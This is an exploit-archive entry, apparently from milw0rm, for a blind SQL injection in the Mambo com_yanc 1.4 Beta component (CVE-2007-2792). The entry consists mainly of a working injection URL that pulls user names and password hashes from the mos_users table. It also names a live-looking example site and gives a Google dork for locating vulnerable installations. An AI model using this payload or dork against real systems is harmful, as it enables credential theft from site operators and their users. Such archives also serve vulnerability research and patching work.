EXPLOITS

Mambo Component com_yanc 1.4 Beta - 'id' SQL Injection

Author: Mehmet Ince
type: webapps
platform: php
port: 
date_added: 2007-05-16  
date_updated:   
verified: 1  
codes: OSVDB-37948;CVE-2007-2792  
tags:   
aliases:   
screenshot_url:   
application_url:   

raw file: 3944.txt  

------------------------------
-------------------------------

Mambo com_yanc v1.4 beta (id) Blind Remote SQL Injection Vuln

-------------------------------------------------------------

Bulan: Cyber-Security

-------------------------------------------------------------

Exploit: index.php?option=com_yanc&Itemid=9999999&listid=9999999/**/union/**/select/**/name,password/**/from/**/mos_users/*

Example:http://www.tnrb.net/

-------------------------------------------------------------

google dork: inurl:index.php?option=com_yanc

-------------------------------------------------------------

# milw0rm.com [2007-05-17]